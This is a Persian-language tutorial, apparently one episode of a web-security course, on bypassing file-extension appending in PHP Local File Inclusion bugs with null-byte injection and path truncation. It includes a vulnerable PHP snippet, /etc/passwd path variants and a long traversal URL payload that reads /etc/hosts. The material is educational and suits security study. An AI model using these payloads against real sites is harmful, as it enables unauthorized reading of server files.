تکنیک Null Byte Injection و تفاوت آن با تکنیک Truncation


در قسمت قبلی دوره آموزشی LFI آموختیم که چگونه با استفاده از لاگ سرویس‌های مختلف، آسیب پذیری LFI را به اجرای دستور از راه دور تبدیل کنیم. در این قسمت از این سریال قصد داریم تا نامرئی شدن به سبک نینجاها و سپس حمله به سایت آسیب پذیر را به شما آموزش دهیم! 😉

برای نامرئی شدن ابتدا باید بیاموزیم که کاراکتر Null Byte چیست و چرا به آن نامرئی گفته می‌شود؟ کاراکتر Null Byte در واقع یک کاراکتر تهی است که اگر بخواهیم آن را در بدنه یک درخواست، از نوع POST قرار دهیم بدون داشتن چشم مسلح، این کاراکتر حتی قابل دیدن نیست! منظورمان از چشم مسلح، تبدیل بدنه درخواست به حالت URL Encode شده است که به ما اجازه می‌دهد کاراکتر های Null Byte نامرئی را با دیدن کد 00% تشخیص دهیم. در ادامه نحوه نامرئی شدن را با هم تمرین خواهیم کرد. 😊

تکنیک Null Byte

در نسخه 5 زبان PHP، عبارت 00% معادل کاراکتر NullByte است و استفاده از NullByte نشان دهنده انتهای رشته است. بنابراین اگر رشته‌ای با این کاراکتر داشته باشیم ادامه رشته بعد از عبارت 00% در نظر گرفته نخواهد شد. برای مثال آدرس var/www/html/index.php%00html/ معادل آدرس var/www/html/index.php/ است.


بنابراین اگر در جایی کد نوشته شده برای include کردن، پسوندی به آدرس اضافه کند می‌توان با این روش آن را دور زد و پسوند اضافه شده را بی اثر کرد البته اگر نسخه PHP مناسب با شرایط ذکر شده باشد.
نمونه کدی به زبان PHP که فرایند اضافه کردن پسوند به ادامه پارامتر آسیب پذیر را انجام می‌دهد:


$address = $_GET['page'];
$address = $address.".php";


همان‌طور که در کد بالا مشاهده می‌کنید اضافه شدن php. به انتهای آدرس باعث می‌شود که با وجود وارد کردن آدرس درست در متغیر page ، در عملinclusion انجام نشود. بنابراین می‌توانیم با گذاشتن %00 در انتهای آدرس مد نظر، پسوند php. را بی اثر کرده و inclusion را موفقیت آمیز انجام می‌دهیم.

تکنیک Truncation

در این روش با استفاده از تعدادی / یا /. که خاصیت خنثی در آدرس دهی دارند می‌توانیم طول آدرس را بدون خراب شدن به گونه‌ای زیاد کنیم که تا 4096 بایت آن استفاده و ادامه آن دور ریخته شود. دلیل این دور ریخته شدن خاصیت خود PHP است . البته این روش در PHP های قدیمی کاربرد داشته است. به طور مثال آدرس های زیر همگی معادل etc/passwd/ هستند.


/etc/./passwd
/etc/././passwd
/etc/./././passwd
/etc/././././passwd

تا جایی که گذاشتن /. باعث truncate شدن و خراب شدن قسمتی از کلمه passwd در انتهای آدرس نشود می‌توان از /. استفاده کرد. منطق استفاده از /. این است که عبارت /. در لینوکس معادل دایرکتوری فعلی است بنابراین هر چندبار گذاشتن آن فرقی در آدرس ایجاد نمی‌کند.
کاراکتر / نیز اگر به تعداد بسیار زیاد پشت سر هم قرار بگیرد مشکلی ایجاد نمی‌کند و در نهایت یک عدد در نظر گرفته می‌شود. برای مثال آدرس های زیر معادل هم هستند:


/etc/passwd
/etc///passwd
/etc////////passwd
/etc///////////////////////////////////////////////passwd

بنابراین گذاشتن / در آدرس هم می‌تواند یک تکنیک Truncation محسوب شود و باعث حذف شدن قسمت اضافه آدرس و دسترسی به فایلی که لازم داریم بشود.

برای مثال تصویر زیر را در نظر بگیرید، همانگونه که مشاهده می‌شود گذاشتن 00% فایده ای ندارد و همانگونه که در پیغام خطای PHP مشاهده می‌کنید 00% فیلتر شده و به /0\ تبدیل شده است.

حال اگر از روش truncation استفاده کنیم همانگونه که در شکل زیر مشاهده می‌کنید می‌توانیم منطق کد را دور بزنیم و فایل etc/hosts/ را بخوانیم.

نمونه آدرس URL استفاده شده مشابه تصویر بالا:

http://www.example.com/index.php?page=../../../../../../etc/hosts/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././

در این اپیزود از سریال جذاب LFI در کنار هم آموختیم که می‌توان با استفاده از کاراکتر Null Byte و تکنیک Truncation محدودیت ها را از سر راه برداشت و از اسیب پذیری LFI به خوبی استفاده کرد. در اینجا فصل اول سریال به پایان می‌رسد و با اپیزود بعدی سریال در فصل جدید در خدمت شما خواهیم بود! 😊 همچنان منتظر تکنیک های خلاقانه و دیدگاه های شما در بخش نظرات هستیم. تا فصلی جدید شما را به خداوند بزرگ می سپاریم! 😉

لیست نظرات
کاربر میهمان
دیدگاه شما چیست؟
کاربر میهمان